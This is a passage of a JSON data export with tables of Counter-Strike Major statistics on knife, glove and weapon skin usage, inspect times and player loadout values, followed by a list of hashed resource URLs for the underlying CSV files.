                "Factory New",
                "5692.2",
                "94.87"
              ],
              [
                "PGL Major Stockholm 2021",
                "huNter",
                "Karambit",
                "Doppler",
                "Black Pearl",
                "Factory New",
                "5566.6",
                "92.78"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "CRUC1AL",
                "Paracord Knife",
                "Marble Fade",
                "",
                "Factory New",
                "4887.6",
                "81.46"
              ],
              [
                "IEM Rio Major 2022",
                "torzsi",
                "Butterfly Knife",
                "Doppler",
                "Phase 1",
                "Factory New",
                "4854.6",
                "80.91"
              ]
            ]
          },
          {
            "id": "table-6",
            "caption": "",
            "rows": [
              [
                "event",
                "matches_with_data",
                "players",
                "players_skin_knife",
                "players_default_knife",
                "pct_skin",
                "knife_inspect_events",
                "total_inspect_time_min"
              ],
              [
                "PGL Major Stockholm 2021",
                "40",
                "78",
                "77",
                "1",
                "98.7",
                "96840",
                "2509.9"
              ],
              [
                "PGL Major Antwerp 2022",
                "40",
                "78",
                "77",
                "1",
                "98.7",
                "98673",
                "2376.4"
              ],
              [
                "IEM Rio Major 2022",
                "40",
                "77",
                "77",
                "0",
                "100.0",
                "130939",
                "3160.0"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "40",
                "78",
                "76",
                "2",
                "97.4",
                "99297",
                "2604.2"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "40",
                "79",
                "78",
                "1",
                "98.7",
                "147767",
                "390.6"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "40",
                "84",
                "82",
                "2",
                "97.6",
                "151965",
                "349.1"
              ]
            ]
          },
          {
            "id": "table-7",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "knife",
                "finish",
                "phase",
                "wear",
                "inspect_time_min",
                "market_hash_name",
                "buff_ask_usd",
                "csfloat_ask_usd"
              ],
              [
                "IEM Rio Major 2022",
                "Jame",
                "Butterfly Knife",
                "Night",
                "",
                "Field-Tested",
                "125.24",
                "★ Butterfly Knife | Night (Field-Tested)",
                "496.24",
                "484.67"
              ],
              [
                "IEM Rio Major 2022",
                "Qikert",
                "Nomad Knife",
                "Crimson Web",
                "",
                "Minimal Wear",
                "95.35",
                "★ Nomad Knife | Crimson Web (Minimal Wear)",
                "185.68",
                "188.68"
              ],
              [
                "IEM Rio Major 2022",
                "stavn",
                "Butterfly Knife",
                "Tiger Tooth",
                "",
                "Factory New",
                "94.87",
                "★ Butterfly Knife | Tiger Tooth (Factory New)",
                "1048.66",
                "1012.65"
              ],
              [
                "PGL Major Stockholm 2021",
                "huNter",
                "Karambit",
                "Doppler",
                "Black Pearl",
                "Factory New",
                "92.78",
                "★ Karambit | Doppler (Factory New)",
                "7450.88",
                "7733"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "CRUC1AL",
                "Paracord Knife",
                "Marble Fade",
                "",
                "Factory New",
                "81.46",
                "★ Paracord Knife | Marble Fade (Factory New)",
                "112.81",
                "109.18"
              ],
              [
                "IEM Rio Major 2022",
                "torzsi",
                "Butterfly Knife",
                "Doppler",
                "Phase 1",
                "Factory New",
                "80.91",
                "★ Butterfly Knife | Doppler (Factory New)",
                "2145.75",
                "2107.51"
              ]
            ]
          },
          {
            "id": "table-8",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "inspect_events",
                "default_events",
                "skinned_events",
                "pct_skinned",
                "has_skinned_weapon",
                "inspect_time_min"
              ],
              [
                "IEM Rio Major 2022",
                "Jame",
                "5563",
                "3",
                "5560",
                "99.9",
                "yes",
                "150.46"
              ],
              [
                "PGL Major Stockholm 2021",
                "huNter",
                "3115",
                "5",
                "3110",
                "99.8",
                "yes",
                "137.35"
              ],
              [
                "IEM Rio Major 2022",
                "Patsi",
                "6749",
                "2",
                "6747",
                "100.0",
                "yes",
                "123.04"
              ],
              [
                "IEM Rio Major 2022",
                "Qikert",
                "2718",
                "0",
                "2718",
                "100.0",
                "yes",
                "102.06"
              ],
              [
                "PGL Major Antwerp 2022",
                "huNter",
                "1970",
                "1",
                "1969",
                "99.9",
                "yes",
                "98.75"
              ],
              [
                "IEM Rio Major 2022",
                "stavn",
                "3404",
                "0",
                "3404",
                "100.0",
                "yes",
                "95.66"
              ]
            ]
          },
          {
            "id": "table-9",
            "caption": "",
            "rows": [
              [
                "weapon",
                "category",
                "inspect_events",
                "default_events",
                "skinned_events",
                "pct_skinned",
                "inspect_time_min"
              ],
              [
                "Butterfly Knife",
                "Knives",
                "393260",
                "8304",
                "384956",
                "97.9",
                "4085.76"
              ],
              [
                "Karambit",
                "Knives",
                "228118",
                "19",
                "228099",
                "100.0",
                "2546.21"
              ],
              [
                "M9 Bayonet",
                "Knives",
                "109996",
                "24",
                "109972",
                "100.0",
                "1811.93"
              ],
              [
                "Paracord Knife",
                "Knives",
                "47354",
                "383",
                "46971",
                "99.2",
                "907.81"
              ],
              [
                "Survival Knife",
                "Knives",
                "32777",
                "40",
                "32737",
                "99.9",
                "609.13"
              ],
              [
                "Nomad Knife",
                "Knives",
                "27585",
                "611",
                "26974",
                "97.8",
                "361.49"
              ]
            ]
          },
          {
            "id": "table-10",
            "caption": "",
            "rows": [
              [
                "event",
                "matches_with_data",
                "players",
                "players_with_skin",
                "players_default_only",
                "pct_players_with_skin",
                "inspect_events",
                "skinned_events",
                "pct_skinned_events",
                "inspect_time_min"
              ],
              [
                "PGL Major Stockholm 2021",
                "40",
                "78",
                "78",
                "0",
                "100.0",
                "102683",
                "101221",
                "98.6",
                "2612.7"
              ],
              [
                "PGL Major Antwerp 2022",
                "40",
                "79",
                "78",
                "1",
                "98.7",
                "106006",
                "105494",
                "99.5",
                "2488.7"
              ],
              [
                "IEM Rio Major 2022",
                "40",
                "79",
                "79",
                "0",
                "100.0",
                "136221",
                "134474",
                "98.7",
                "3256.6"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "40",
                "78",
                "77",
                "1",
                "98.7",
                "106224",
                "104496",
                "98.4",
                "2724.5"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "40",
                "79",
                "79",
                "0",
                "100.0",
                "155740",
                "154139",
                "99.0",
                "424.5"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "40",
                "84",
                "84",
                "0",
                "100.0",
                "160544",
                "155810",
                "97.1",
                "376.9"
              ]
            ]
          },
          {
            "id": "table-11",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "weapon",
                "finish",
                "phase",
                "wear",
                "inspect_time_min"
              ],
              [
                "IEM Rio Major 2022",
                "Jame",
                "Butterfly Knife",
                "Night",
                "",
                "Field-Tested",
                "125.24"
              ],
              [
                "IEM Rio Major 2022",
                "Qikert",
                "Nomad Knife",
                "Crimson Web",
                "",
                "Minimal Wear",
                "95.35"
              ],
              [
                "IEM Rio Major 2022",
                "stavn",
                "Butterfly Knife",
                "Tiger Tooth",
                "",
                "Factory New",
                "94.87"
              ],
              [
                "PGL Major Stockholm 2021",
                "huNter",
                "Karambit",
                "Doppler",
                "Black Pearl",
                "Factory New",
                "92.78"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "CRUC1AL",
                "Paracord Knife",
                "Marble Fade",
                "",
                "Factory New",
                "81.46"
              ],
              [
                "IEM Rio Major 2022",
                "torzsi",
                "Butterfly Knife",
                "Doppler",
                "Phase 1",
                "Factory New",
                "80.91"
              ]
            ]
          },
          {
            "id": "table-12",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "gloves",
                "finish",
                "wear",
                "has_skinned_gloves",
                "on_screen_min"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "jL",
                "Sport Gloves",
                "Hedge Maze",
                "Field-Tested",
                "yes",
                "835.72"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "w0nderful",
                "Specialist Gloves",
                "Crimson Kimono",
                "Minimal Wear",
                "yes",
                "835.72"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "iM",
                "Specialist Gloves",
                "Crimson Kimono",
                "Minimal Wear",
                "yes",
                "835.67"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "b1t",
                "Specialist Gloves",
                "Crimson Kimono",
                "Field-Tested",
                "yes",
                "835.67"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "Aleksib",
                "Moto Gloves",
                "Spearmint",
                "Field-Tested",
                "yes",
                "835.59"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "broky",
                "Specialist Gloves",
                "Crimson Kimono",
                "Field-Tested",
                "yes",
                "781.35"
              ]
            ]
          },
          {
            "id": "table-13",
            "caption": "",
            "rows": [
              [
                "event",
                "matches_with_data",
                "players",
                "players_skinned_gloves",
                "players_default_gloves",
                "pct_skinned",
                "total_on_screen_min"
              ],
              [
                "PGL Major Stockholm 2021",
                "1",
                "10",
                "10",
                "0",
                "100.0",
                "950.2"
              ],
              [
                "PGL Major Antwerp 2022",
                "3",
                "25",
                "24",
                "1",
                "96.0",
                "3918.3"
              ],
              [
                "IEM Rio Major 2022",
                "4",
                "40",
                "38",
                "2",
                "95.0",
                "2696.0"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "28",
                "80",
                "76",
                "4",
                "95.0",
                "31404.3"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "37",
                "80",
                "77",
                "3",
                "96.2",
                "34703.4"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "22",
                "75",
                "73",
                "2",
                "97.3",
                "21500.5"
              ]
            ]
          },
          {
            "id": "table-14",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "weapons_carried",
                "weapons_skinned",
                "pct_skinned",
                "has_skin",
                "match_min"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "zont1x",
                "13",
                "13",
                "100.0",
                "yes",
                "110.61"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "magixx",
                "16",
                "16",
                "100.0",
                "yes",
                "110.61"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "Jimpphat",
                "19",
                "17",
                "89.5",
                "yes",
                "110.29"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "torzsi",
                "18",
                "18",
                "100.0",
                "yes",
                "110.23"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "sh1ro",
                "20",
                "17",
                "85.0",
                "yes",
                "110.14"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "chopper",
                "17",
                "17",
                "100.0",
                "yes",
                "109.96"
              ]
            ]
          },
          {
            "id": "table-15",
            "caption": "",
            "rows": [
              [
                "weapon",
                "carried_slots",
                "skinned_slots",
                "pct_skinned"
              ],
              [
                "AK-47",
                "393",
                "393",
                "100.0"
              ],
              [
                "Glock-18",
                "392",
                "382",
                "97.4"
              ],
              [
                "USP-S",
                "390",
                "386",
                "99.0"
              ],
              [
                "M4A1-S",
                "388",
                "388",
                "100.0"
              ],
              [
                "Desert Eagle",
                "380",
                "373",
                "98.2"
              ],
              [
                "Galil AR",
                "368",
                "344",
                "93.5"
              ]
            ]
          },
          {
            "id": "table-16",
            "caption": "",
            "rows": [
              [
                "event",
                "matches_with_data",
                "players",
                "players_with_skin",
                "players_default_only",
                "pct_players_with_skin",
                "weapon_slots",
                "skinned_slots",
                "pct_skinned_slots"
              ],
              [
                "PGL Major Stockholm 2021",
                "1",
                "10",
                "10",
                "0",
                "100.0",
                "131",
                "113",
                "86.3"
              ],
              [
                "PGL Major Antwerp 2022",
                "3",
                "25",
                "25",
                "0",
                "100.0",
                "359",
                "338",
                "94.2"
              ],
              [
                "IEM Rio Major 2022",
                "4",
                "40",
                "40",
                "0",
                "100.0",
                "445",
                "391",
                "87.9"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "28",
                "80",
                "80",
                "0",
                "100.0",
                "1399",
                "1276",
                "91.2"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "37",
                "80",
                "80",
                "0",
                "100.0",
                "1466",
                "1353",
                "92.3"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "22",
                "78",
                "78",
                "0",
                "100.0",
                "1222",
                "1163",
                "95.2"
              ]
            ]
          },
          {
            "id": "table-17",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "knife_usd",
                "guns_usd",
                "gloves_usd",
                "total_usd",
                "skins_count"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "b1t",
                "2652.44",
                "31839.03",
                "6838.23",
                "41329.70",
                "23"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "Jimpphat",
                "2952.86",
                "28311.91",
                "6838.23",
                "38103.00",
                "14"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "donk",
                "1765.91",
                "28332.22",
                "6838.23",
                "36936.36",
                "17"
              ],
              [
                "BLAST.tv Austin Major 2025",
                "magixx",
                "1765.91",
                "30948.69",
                "3680.83",
                "36395.43",
                "17"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "m0NESY",
                "886.53",
                "31336.19",
                "2473.76",
                "34696.48",
                "17"
              ],
              [
                "PGL Major Stockholm 2021",
                "b1t",
                "1683.72",
                "28982.14",
                "3179.00",
                "33844.86",
                "13"
              ]
            ]
          },
          {
            "id": "table-18",
            "caption": "",
            "rows": [
              [
                "event",
                "matches_with_data",
                "players",
                "total_loadout_usd",
                "avg_loadout_usd"
              ],
              [
                "PGL Major Stockholm 2021",
                "1",
                "10",
                "161041.01",
                "16104.10"
              ],
              [
                "PGL Major Antwerp 2022",
                "3",
                "25",
                "306281.82",
                "12251.27"
              ],
              [
                "IEM Rio Major 2022",
                "4",
                "39",
                "320859.03",
                "8227.15"
              ],
              [
                "BLAST.tv Paris Major 2023",
                "28",
                "80",
                "820636.69",
                "10257.96"
              ],
              [
                "PGL CS2 Major Copenhagen 2024",
                "37",
                "80",
                "949007.90",
                "11862.60"
              ],
              [
                "Perfect World Shanghai Major 2024",
                "22",
                "78",
                "1101000.25",
                "14115.39"
              ]
            ]
          },
          {
            "id": "table-19",
            "caption": "",
            "rows": [
              [
                "market_hash_name",
                "players_count",
                "csfloat_url",
                "steam_market_url",
                "skinport_url"
              ],
              [
                "Desert Eagle | Blaze (Factory New)",
                "144",
                "https://csfloat.com/search?name=Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29",
                "https://steamcommunity.com/market/listings/730/Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29",
                "https://skinport.com/market?search=Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29"
              ],
              [
                "M4A1-S | Blue Phosphor (Factory New)",
                "134",
                "https://csfloat.com/search?name=M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29",
                "https://steamcommunity.com/market/listings/730/M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29",
                "https://skinport.com/market?search=M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29"
              ],
              [
                "AK-47 | Fire Serpent (Field-Tested)",
                "124",
                "https://csfloat.com/search?name=AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29",
                "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29",
                "https://skinport.com/market?search=AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29"
              ],
              [
                "M4A1-S | Hot Rod (Factory New)",
                "124",
                "https://csfloat.com/search?name=M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29",
                "https://steamcommunity.com/market/listings/730/M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29",
                "https://skinport.com/market?search=M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29"
              ],
              [
                "AK-47 | Wild Lotus (Factory New)",
                "122",
                "https://csfloat.com/search?name=AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29",
                "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29",
                "https://skinport.com/market?search=AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29"
              ],
              [
                "AK-47 | Redline (Minimal Wear)",
                "118",
                "https://csfloat.com/search?name=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29",
                "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Redline%20%28Minimal%20Wear%29",
                "https://skinport.com/market?search=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv",
          "sha256": "b22fada53521050f448c7a9f0fe11ce54ed86a972ff6f40c613716e8c7c50f73",
          "bytes": 746
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/showcase/model-time.csv",
          "sha256": "ea3791d5691ac60642e56d75091340ad2d449530c6c96e1b12b4760a485c272a",
          "bytes": 1027
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/gallery/screen-samples.csv",
          "sha256": "f9d1bcbe5783b3caf720769448fdd8fe01d28d2d2f97971f3e63fb6afe9dcfa0",
          "bytes": 1711
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/inspect-gallery.json",
          "sha256": "acd8126812dfb325c6b8b55a2ec7e618da904ce89590614295b935c610b2124b",
          "bytes": 137724
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/09_gloves_players.csv",
          "sha256": "d07f4ab2eb3ffab984779e20e52454ffc9dfb5a4c77204aa637ee8d987528527",
          "bytes": 32787
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/player-valuations.csv",
          "sha256": "d5bba089a7ee667dd9a9e069ba406f41d631018597adb56eb8068de5fbf92a94",
          "bytes": 29634
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/selected-loadout-items.csv",
          "sha256": "1debb810ead532b01fc1b4729999c2da769a26e8d03232a155774dc189ef6885",
          "bytes": 949349
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/major-valuations.csv",
          "sha256": "38965d945cd4f612e7be14ad20724a2c636b034d9b1617207f0d0384c8420f35",
          "bytes": 463
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/price-corrections.json",
          "sha256": "e7e597d50246a74f3a84ce2b7aced0984ffb9f868fdbcace37935366c805b761",
          "bytes": 511266
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/market-price-snapshot.json",
          "sha256": "fc5d26b4a2085e7a821193cd0afb4ecb2269cee4511e9cb6dd0530c8ac7313ed",
          "bytes": 6410413
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/item-prices.csv",
          "sha256": "4cbd1efd5087e147c4c189b927128121c7e6bcdd2618ff70e4c81109d730d90b",
          "bytes": 81602
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/skin-listings.csv",
          "sha256": "2d6d9b4c52db29ba06d840edc9ec642183f9730a8563dc454c5e087f5889dce9",
          "bytes": 330462
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/01_players.csv",
          "sha256": "61f0982e6df634da5197abd45e3022eeeec9bcfc21b7a97c3ffc8989cb52e764",
          "bytes": 31481
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/02_knives.csv",
          "sha256": "8bfe21e84ae00fd81dfdc4c3922a3264f9af630bcddfab889d9e1937fbb9e135",
          "bytes": 89744
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/03_events.csv",
          "sha256": "3068275e1dbff144dd5049842e3b5147d44b2b7831edadd9da3f5bcbbde827fd",
          "bytes": 523
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/04_priced.csv",
          "sha256": "3f17e431e0c4da434963d7027bab0e5f6a3382826d7f159757a6385fef75893f",
          "bytes": 143435
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv",
          "sha256": "87160fe27c8a00ac8211c7b7ed70a758befb0aba28d800773b5042a9cd9a06f4",
          "bytes": 33840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/06_weapons_all.csv",
          "sha256": "6537567c16ee7ac1445609f962b55b4ed81a0588ff15ee107ae525f20d9631e2",
          "bytes": 2005
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/07_events_all.csv",
          "sha256": "d3017cdffb163b10433ac13e00d85061d9e07b7e21bfc2579a532fb0261a18f6",
          "bytes": 647
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/08_top_skins_all.csv",
          "sha256": "4e2ded998ef63cb830af6bd0fd41b01402ed719419341eb6cecb5014b54ed8a2",
          "bytes": 7731
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/10_gloves_events.csv",
          "sha256": "cae9334665bba32fc414d1b3d022da8afa0c95ff2947926a099b539767d29aab",
          "bytes": 464
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/11_loadout_players.csv",
          "sha256": "d8b4a1402f462f2922a46b172d3f1ee078a509f77b52e2fcb6e0e8c5f29bcfc8",
          "bytes": 22507
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/12_loadout_weapons.csv",
          "sha256": "0ac65fa0f68f63699fafc92d698252bf2e17265cdb216c05bdd6207828d5c1b9",
          "bytes": 1121
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/13_loadout_events.csv",
          "sha256": "8c3efd519ea51328822783cbb07f29caa13d29ff4dd0735599fa049fcddd0a96",
          "bytes": 545
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/14_players_valuation.csv",
          "sha256": "cae39e80a322fcee252d55fce5bce32c17496a78f88999b17e293c6815aece27",
          "bytes": 27750
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/15_valuation_majors.csv",
          "sha256": "688d67008c221e5797b27c957defe2192fc4de40fb10f30439f0013ae237b12e",
          "bytes": 431
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/16_skin_listings.csv",
          "sha256": "1db43ee3d6cbb6c85ea1e085c01c9431b271e41de43e7713ab09f8474285a07b",
          "bytes": 455567
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68259_evil-geniuses-vs-faze-dust2.dem.skins.csv",
          "sha256": "dcb4aee7bfcaa11899b08fda3608f4927e6e45f1174cfc97868b20852a2eedce",
          "bytes": 46992
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68260_g2-vs-copenhagen-flames-ancient.dem.skins.csv",
          "sha256": "c07928b4c66d0b10e8550911891ba5a96d3e7ffeaf43a70e6b079a75a7cba94b",
          "bytes": 138230
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68262_gambit-vs-ence-overpass.dem.skins.csv",
          "sha256": "cb6d34c09f594eeaf5a148ef5499cc1fe4abb4ea83dfccec58fe1ce50ede4862",
          "bytes": 100880
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68263_liquid-vs-entropiq-vertigo.dem.skins.csv",
          "sha256": "fcfa1badefdedae8b5f787b3c75cd8beab23691d34357454de081e7087c0472c",
          "bytes": 58472
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68264_vitality-vs-virtus-pro-inferno.dem.skins.csv",
          "sha256": "da58a1ad79067ac4ccd304412708b37073b5ccee126ea0eef7e6164c1c141574",
          "bytes": 96796
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68266_nip-vs-mouz-inferno.dem.skins.csv",
          "sha256": "7c524b0c25e618d3252010bd773be232f978d203366d9fb1680a2f913f800fb7",
          "bytes": 92822
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68267_natus-vincere-vs-heroic-ancient.dem.skins.csv",
          "sha256": "d8084f00527aadb526310520a04633a7f3f3a9a7d85d7ebeee3010fa2d04598e",
          "bytes": 75916
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68268_furia-vs-astralis-inferno.dem.skins.csv",
          "sha256": "6b9a2f8943f73f43c44cc137bbe82d75a223fa125a4c36df5e68c7c1db8aedeb",
          "bytes": 106889
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68270_evil-geniuses-vs-copenhagen-flames-nuke.dem.skins.csv",
          "sha256": "7ca27dfeed798ff605394d97f5c7bfb2cf27377156e60a6c448c175de69c467d",
          "bytes": 65918
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68271_g2-vs-faze-mirage.dem.skins.csv",
          "sha256": "1f6cfae149371fbc051627a7c2a7e6a46a837877fa9171cf041ab747c28b19bc",
          "bytes": 76178
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68273_liquid-vs-ence-dust2.dem.skins.csv",
          "sha256": "9fba7e07bd9b25149e43ef13eb8cc5f7a23118d564ed8242dd9c6e88e935c5cb",
          "bytes": 53200
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68274_gambit-vs-entropiq-vertigo.dem.skins.csv",
          "sha256": "10995e1fbc17fa01bae978cfc25000a3cf1e03db92d794d7d1d1e10e6d4ff6e4",
          "bytes": 99815
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68279_vitality-vs-heroic-overpass.dem.skins.csv",
          "sha256": "9b86f322c54d5156c9927f6e851eec126f0d6b8ea22d0739fc2130f3a6e1cd93",
          "bytes": 100519
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68280_natus-vincere-vs-virtus-pro-overpass.dem.skins.csv",
          "sha256": "ab016658f31c979ad87a14b1ace35837ddb7e7b6196778011b934b5f3c92b3bb",
          "bytes": 56243
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68281_furia-vs-mouz-inferno.dem.skins.csv",
          "sha256": "ab1733dda1452813689884533cfed21687aeda01b52f55c85c74481aea5578f7",
          "bytes": 76184
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68282_nip-vs-astralis-inferno.dem.skins.csv",
          "sha256": "949c94e806b389b315e4d91f7d2a87f7bc367ddc1a7dab2b244b1ee6f761722e",
          "bytes": 121934
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68287_faze-vs-copenhagen-flames-ancient.dem.skins.csv",
          "sha256": "553f3a2cc4f1a66b5af560d86f75c4aed94ff3473c45c99bb5bca94487163a7e",
          "bytes": 85394
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68288_gambit-vs-virtus-pro-vertigo.dem.skins.csv",
          "sha256": "6a65ed50852c87e6ee8d9a9eb4bd73f6c31c177d6e154efcd21204240ee81077",
          "bytes": 66845
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68289_liquid-vs-furia-inferno.dem.skins.csv",
          "sha256": "93c650911a3ee9598f66c6ddd64570986aec4957cb98c6213fd07f1e90bc3580",
          "bytes": 62280
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68290_astralis-vs-heroic-ancient.dem.skins.csv",
          "sha256": "5a1bcf92d34eb39c7145ade5c3f3d4bc1b6eea085129890bee479fe404a25c7e",
          "bytes": 52108
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68291_g2-vs-entropiq-m1-mirage.dem.skins.csv",
          "sha256": "bfc80953bc8ada517d9a399602e9912d8571e5f4f165c45bf246ea32b0005911",
          "bytes": 113869
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68291_g2-vs-entropiq-m2-dust2.dem.skins.csv",
          "sha256": "92a353eef520e8f603a8d9f7fffd508ee92f36f016cb28e108ff6ee68a97f052",
          "bytes": 90988
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m1-inferno.dem.skins.csv",
          "sha256": "bf5b0b787a19147bf55c3e6bd1be5646be4b2e5f478f9031ca3a4c36344c1b6e",
          "bytes": 114050
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m2-vertigo.dem.skins.csv",
          "sha256": "016fd61e712790cf1600045eb18ffc04223e1aee824bb80f69aee39a86c731cb",
          "bytes": 65176
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m3-dust2.dem.skins.csv",
          "sha256": "7fc1d79acfc4f279f77d59eb757c86474bd37b2695f7a50eaceb7dca1a607354",
          "bytes": 89517
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68294_natus-vincere-vs-nip-m1-nuke.dem.skins.csv",
          "sha256": "1a910cc9ae7afc749f363528f7ee983c13d68ca09764e06f97b381b8273c95c6",
          "bytes": 100855
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68294_natus-vincere-vs-nip-m2-overpass.dem.skins.csv",
          "sha256": "ec5d9e0f278a706fd90185352b2afc8d09c97ee4368890fa9ea1a6b4d2a170b6",
          "bytes": 105825
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68298_mouz-vs-ence-m1-mirage.dem.skins.csv",
          "sha256": "6bc1d9379ba5269978203e2c558620a2abc1792d384622b72a7a58befe748b83",
          "bytes": 52395
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68298_mouz-vs-ence-m2-vertigo.dem.skins.csv",
